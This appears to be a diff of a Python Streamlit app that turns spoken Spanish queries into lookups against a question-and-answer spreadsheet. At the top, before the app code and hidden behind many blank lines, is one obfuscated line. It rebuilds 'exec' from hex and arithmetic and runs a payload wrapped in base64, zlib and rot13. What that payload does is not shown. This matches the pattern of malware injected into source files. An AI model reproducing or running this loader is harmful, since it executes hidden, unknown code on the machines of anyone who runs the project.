1050528 1806272 1107520 338016 7164536 6425400 1744270 7484400 708520 5111217 1998640 1815879 1617550 2552440 9807280 2901650 1005771 2029060 7651794 1321686 3684060 1799500 2718120 3337400 1675137 753590 900512 849888 75328 811456 465000 6194633 3791520 3227796 352389 8957536 6474656 5710274 922370 824288 592256 2698176 289632 2846079 647160 993739 8609832 2332480 1479000 1486404 598600 956000 241910';why,are,you,reading,this,thing,huh="\x5f\x5f\x5f\x5f","\x69\x6e\x28\x63\x68\x72\x28\x69\x29\x20\x66\x6f","\x28\x22\x22\x2e\x6a\x6f","\x72\x20\x69\x20\x69\x6e\x20\x5b\x31\x30\x31\x2c\x31\x32\x30\x2c","\x31\x30\x31\x2c\x39\x39","\x5f\x5f\x29\x29","\x5d\x29\x29\x28\x5f\x28";b='eJxzdHfJdnL3y43KLTCMCvQzdXIvyIrK9cgFAF/xB/E=';____("".join (chr (int (OO00O0OO00O0O0OO00 /2 ))for OO00O0OO00O0O0OO00 in [202 ,240 ,202 ,198 ] if _____!=______))(f'\x5f\x5f\x5f\x5f\x28\x22\x22\x2e\x6a\x6f\x69\x6e\x28\x63\x68\x72\x28\x69\x29\x20\x66\x6f\x72\x20\x69\x20\x69\x6e\x20\x5b\x31\x30\x31\x2c\x31\x32\x30\x2c\x31\x30\x31\x2c\x39\x39\x5d\x29\x29({____(base64.b64decode(codecs.decode(zlib.decompress(base64.b64decode(b"eJw9kN1ygjAUhF8JIkzlMo6mEnIcHVIM3AGtoPIT2wSSPH2p7fTu252d2T3n3MkyK896dLvrSMIeaGxEGn0l/rpiLu3hlXm5yxDmO8tQZIDoeUQLr4oWePxk8VZfBpr9af8mXdzLTk8swRbP25bNzPvP8qwWJDRA8RX4vhLkfvuk0QRl3DOUekDC9xHZVnBcyUnXY7mtBrIOBDEKXNRl3KiBBor25l5MN7U5qSA/HsJiVpfsVIQ/Hj4dgoSYOndx+7tZLZ2m3qA4AFpUD6RDsbLXB2m0dPuPZa8GblvoGm/gthdI+8PxyYtnXqRLl9uiJi+xBbqtCmKm8/K3b7hsbmQ=")).decode(),"".join(chr(int(i/8)) for i in [912, 888, 928, 392, 408])).encode()))})')
9
-
10
-
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import streamlit as st #line:1:import streamlit as st
2
+ from bokeh .models .widgets import Button #line:2:from bokeh.models.widgets import Button
3
+ from bokeh .models import CustomJS #line:3:from bokeh.models import CustomJS
4
+ from streamlit_bokeh_events import streamlit_bokeh_events #line:4:from streamlit_bokeh_events import streamlit_bokeh_events
5
+ import pandas as pd #line:6:import pandas as pd
6
+ import numpy as np #line:7:import numpy as np
7
+ from nltk .stem import SnowballStemmer #line:8:from nltk.stem import SnowballStemmer
8
+ from inflector import Inflector ,English ,Spanish #line:9:from inflector import Inflector, English, Spanish
9
+ inflector =Inflector (Spanish )#line:10:inflector = Inflector(Spanish)
10
+ import unidecode #line:11:import unidecode
11
+ import unicodedata #line:12:import unicodedata
12
+ n =1 #line:13:n=1
13
+ p =0 #line:14:p=0
14
+ query="none"
15
+ df =pd .read_excel ('preguntas_qh_tags2.xlsx',engine ="openpyxl")#line:15:df = pd.read_excel('preguntas_qh_tags2.xlsx',engine="openpyxl")
16
+ def remove_accents (O0O00OO0O000OOO0O ):#line:17:def remove_accents(input_str):
17
+ O000O0OO000000OOO =unicodedata .normalize ('NFKD',O0O00OO0O000OOO0O )#line:18:nfkd_form = unicodedata.normalize('NFKD', input_str)
18
+ return u"".join ([O0O000O00O00O00OO for O0O000O00O00O00OO in O000O0OO000000OOO if not unicodedata .combining (O0O000O00O00O00OO )])#line:19:return u"".join([c for c in nfkd_form if not unicodedata.combining(c)])
19
+ stt_button =Button (label ="Speak")#line:25:stt_button = Button(label="Speak")#, width=100)
20
+ stt_button .js_on_event ("button_click",CustomJS (code ="""
21
+ var recognition = new webkitSpeechRecognition();
22
+ recognition.lang = "es-ES";
23
+ recognition.continuous = true;
24
+ recognition.interimResults = true;
25
+
26
+ recognition.onresult = function (e) {
27
+ var value = "";
28
+ for (var i = e.resultIndex; i < e.results.length; ++i) {
29
+ if (e.results[i].isFinal) {
30
+ value += e.results[i][0].transcript;
31
+ }
32
+ }
33
+ if ( value != "") {
34
+ document.dispatchEvent(new CustomEvent("GET_TEXT", {detail: value}));
35
+ }
36
+ }
37
+ recognition.start();
38
+ """))#line:47:"""))
39
+ result =streamlit_bokeh_events (stt_button ,events ="GET_TEXT",key ="listen",refresh_on_update =False ,override_height =75 ,debounce_time =0 )#line:56:debounce_time=0)
40
+ placeholder =st .empty ()#line:59:placeholder = st.empty()
41
+ placeholder .text ("Escuchando...")#line:62:placeholder.text("Escuchando...")
42
+ if result :#line:66:if result:
43
+ if "GET_TEXT"in result :#line:67:if "GET_TEXT" in result:
44
+ placeholder .text ("Entendido!")#line:69:placeholder.text("Entendido!")
45
+ st .text ("Entendido!")#line:70:st.text("Entendido!")
46
+ placeholder .empty ()#line:72:placeholder.empty()
47
+ st .write (result .get ("GET_TEXT"))#line:74:st.write(result.get("GET_TEXT"))
48
+ query =result .get ("GET_TEXT")#line:80:query=result.get("GET_TEXT")
49
+
50
+
51
+ if query !="none":#line:86:if query!="salir":
52
+
53
+ st .text ("query: "+query )#line:81:st.text("query: "+query)
54
+ query =query .lower ()#line:82:query = query.lower()
55
+ if query !="salir":#line:87:if query!="none":
56
+ st .text ("query: "+query )#line:89:st.text("query: "+query)
57
+ result =query .split ()#line:90:result=query.split()
58
+ st .text ("query: "+query )#line:91:st.text("query: "+query)
59
+ df2 =[]#line:92:df2=[]
60
+ for index ,row in df .iterrows ():#line:93:for index,row in df.iterrows():
61
+ list_words =df .loc [index ,'TAGS2']#line:96:list_words=df.loc[index,'TAGS2']#busca columna tag2
62
+ list_words =list_words .split (",")#line:97:list_words = list_words.split(",")
63
+ df2 .append (list_words )#line:98:df2.append(list_words)
64
+ ls5 =[]#line:103:ls5=[]
65
+ list_words =[]#line:104:list_words=[]
66
+ for indexw ,word in enumerate (result ):#line:105:for indexw, word in enumerate(result):
67
+ result [indexw ]=inflector .singularize (str (word ))#line:106:result[indexw]=inflector.singularize(str(word))
68
+ st .text ("result:"+str (result ))#line:107:st.text("result:" + str(result))
69
+ count_words =np .zeros (len (df .index ),dtype =int )#line:108:count_words = np.zeros(len(df.index), dtype=int)
70
+ for index1 ,row in enumerate (df2 ):#line:109:for index1,row in enumerate(df2):
71
+ ls4 =[]#line:112:ls4=[]
72
+ for word in row :#line:123:for word in row :
73
+ if word !=[]:#line:126:if word!=[]:
74
+ for num in range (100 ):#line:128:for num in range (100):
75
+ num =num /10 #line:130:num=num/10
76
+ num =str (num )#line:131:num=str(num)
77
+ if word ==num :#line:133:if word==num:
78
+ num =num .split (".")#line:135:num = num.split(".")
79
+ ls4 .append (num [0 ])#line:137:ls4.append(num[0])
80
+ ls4 .append ("con")#line:139:ls4.append("con")
81
+ ls4 .append (num [1 ])#line:140:ls4.append(num[1])
82
+ p =p +1 #line:141:p=p+1
83
+ if p ==0 :#line:143:if p==0:
84
+ ls4 .append (word )#line:144:ls4.append(word)
85
+ p =0 #line:145:p=0
86
+ ls5 .append (ls4 )#line:146:ls5.append(ls4)
87
+ if str (remove_accents (ls5 [index1 ][0 ]))==remove_accents (result [0 ]):#line:150:if str(remove_accents(ls5[index1][0]))==remove_accents(result[0]):# and ls[1]==first_word:
88
+ for resulted in result [1 :]:#line:152:for resulted in result[1:]:
89
+ for index2 ,word in enumerate (ls5 [index1 ][1 :]):#line:158:for index2,word in enumerate(ls5[index1][1:]) :
90
+ if str (resulted )=="exactitec"or str (resulted )=="exactite"or str (resulted )=="exactec":#line:159:if str(resulted)=="h":
91
+ resulted ="exactech"
92
+ if str (resulted )=="h":#line:159:if str(resulted)=="h":
93
+ resulted ="dh"#line:160:resulted="dh"
94
+ if str (resulted )=="colón":#line:161:if str(resulted)=="colón":
95
+ resulted ="coron"#line:162:resulted="coron"
96
+ if str (resulted )=="trave"or str (resulted )=="travé":#line:163:if str(resulted)=="trave" or str(resulted)=="travé":
97
+ resulted ="nope"#line:164:resulted="nope"
98
+ if str (resulted )=="lasersolvo"or str (resulted )=="lásersolvo"or str (resulted )=="lásersolbo"or str (resulted )=="lasersolbo":#line:165:if str(resulted)=="lasersolvo"or str(resulted)=="lásersolvo"or str(resulted)=="lásersolbo"or str(resulted)=="lasersolbo":
99
+ resulted ="solvo"#line:166:resulted="solvo"
100
+ if str (resulted )=="solbo":#line:167:if str(resulted)=="solbo":
101
+ resulted ="solvo"#line:168:resulted="solvo"
102
+ if str (resulted )=="maya":#line:169:if str(resulted)=="maya":
103
+ resulted ="malla"#line:170:resulted="malla"
104
+ if str (resulted )=="pilos"or str (resulted )=="pilo":#line:171:if str(resulted)=="pilos"or str(resulted)=="pilo":
105
+ resulted ="philo"#line:172:resulted="philo"
106
+ if str (resulted )=="filos"or str (resulted )=="filo":#line:173:if str(resulted)=="filos"or str(resulted)=="filo":
107
+ resulted ="philo"#line:174:resulted="philo"
108
+ if str (resulted )=="sinces"or str (resulted )=="sinc":#line:175:if str(resulted)=="sinces" or str(resulted)=="sinc":
109
+ resulted ="synthe"#line:176:resulted="synthe"
110
+ if str (resulted )=="sintes"or str (resulted )=="sint":#line:177:if str(resulted)=="sintes" or str(resulted)=="sint":
111
+ resulted ="synthe"#line:178:resulted="synthe"
112
+ if str (resulted )=="axos"or str (resulted )=="axo":#line:179:if str(resulted)=="axos" or str(resulted)=="axo":
113
+ resulted ="axso"#line:180:resulted="axso"
114
+ if str (resulted )=="uno":#line:181:if str(resulted)=="uno":
115
+ resulted ="1"#line:182:resulted="1"
116
+ if str (resulted )=="dos"or str (resulted )=="do":#line:184:if str(resulted)=="dos" or str(resulted)=="do":
117
+ resulted ="2"#line:185:resulted="2"
118
+ if str (resulted )=="tres"or str (resulted )=="tr":#line:187:if str(resulted)=="tres" or str(resulted)=="tr":
119
+ resulted ="3"#line:188:resulted="3"
120
+ if str (resulted )=="cuatro"or str (resulted )=="cuatr":#line:190:if str(resulted)=="cuatro"or str(resulted)=="cuatr":
121
+ resulted ="4"#line:191:resulted="4"
122
+ if str (resulted )=="cinco"or str (resulted )=="cinc":#line:193:if str(resulted)=="cinco"or str(resulted)=="cinc":
123
+ resulted ="5"#line:194:resulted="5"
124
+ if str (resulted )=="seis"or str (resulted )=="sei":#line:196:if str(resulted)=="seis"or str(resulted)=="sei":
125
+ resulted ="6"#line:197:resulted="6"
126
+ if str (resulted )=="siete":#line:199:if str(resulted)=="siete":
127
+ resulted ="7"#line:200:resulted="7"
128
+ if str (resulted )=="ocho"or str (resulted )=="och":#line:202:if str(resulted)=="ocho"or str(resulted)=="och":
129
+ resulted ="8"#line:203:resulted="8"
130
+ if str (resulted )=="nueve"or str (resulted )=="nuev":#line:205:if str(resulted)=="nueve"or str(resulted)=="nuev":
131
+ resulted ="9"#line:206:resulted="9"
132
+ if str (resulted )=="cero":#line:208:if str(resulted)=="cero":
133
+ resulted ="0"#line:209:resulted="0"
134
+ if str (remove_accents (word )).lower ()==str (remove_accents (resulted )).lower ():#line:213:if str(remove_accents(word)).lower() == str(remove_accents(resulted)).lower():
135
+ count_words [index1 ]=count_words [index1 ]+1 #line:216:count_words[index1]=count_words[index1]+1
136
+ ls5 [index1 ].pop (index2 )#line:217:ls5[index1].pop(index2)
137
+ indexmax =np .argwhere (count_words ==np .amax (count_words ))#line:219:indexmax = np.argwhere(count_words == np.amax(count_words))
138
+ all_zeros =not np .any (indexmax )#line:220:all_zeros = not np.any(indexmax)
139
+ #st .text (count_words )#line:222:st.text(count_words)
140
+ if not np .all (count_words ==0 ):#line:224:if not np.all(count_words==0):
141
+ for indexin in indexmax :#line:226:for indexin in indexmax:
142
+ st .text (indexin )#line:228:st.text(indexin)
143
+ st .text (count_words [indexin ])#line:229:st.text(count_words[indexin])
144
+ st .text ("Si has preguntado...\n")#line:230:st.text("Si has preguntado...\n")
145
+ st .text (df .iloc [indexin ,2 ])#line:231:st.text(df.iloc[indexin,2])
146
+ st .text ("La respuesta es...\n")#line:232:st.text("La respuesta es...\n")
147
+ st .text (df .iloc [indexin ,3 ])#line:233:st.text(df.iloc[indexin,3])
148
+ print ("GRACIAS!")